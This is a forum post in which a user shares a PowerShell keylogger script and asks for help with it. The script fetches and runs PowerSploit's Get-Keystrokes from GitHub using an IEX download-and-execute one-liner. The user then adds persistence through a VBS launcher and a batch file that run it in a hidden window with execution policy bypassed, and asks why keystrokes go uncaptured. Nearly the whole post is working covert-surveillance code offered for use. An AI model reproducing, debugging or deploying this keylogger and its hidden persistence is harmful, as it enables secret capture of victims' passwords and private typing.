codeeer Posted March 26, 2017 Share Posted March 26, 2017 Hi So I have this simple script, keylogger.ps1 $time = Get-Date -format "yyyy-MM-dd_HH-mm" $folder = $ENV:UserProfile $folder += '\Desktop\' + $time + '_keystrokes.txt' IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-Keystrokes.ps1') Get-Keystrokes -LogPath $folder It gets the powershell keylogger and execute it. Creating a log file on the desktop with year and day. This works fine when I run ./keylogger.ps1 from powershell Then I tried to add some persistence so it start with the computer, so I added this: updater.vbs script: Set objShell = CreateObject("Wscript.shell") objShell.run("powershell -WindowStyle Hidden -executionpolicy bypass -file C:\Users\user\Desktop\keylogger.ps1") The code is executed, but key strokes are not captured!! Same thing here, I run the script via a .bat file @echo off PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& 'C:\Users\user\Desktop\keylogger.ps1'" The code is executed, file is created for logging key strokes, but no key strokes are captured!! Anybody know why this is? Quote Link to comment Share on other sites More sharing options...
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.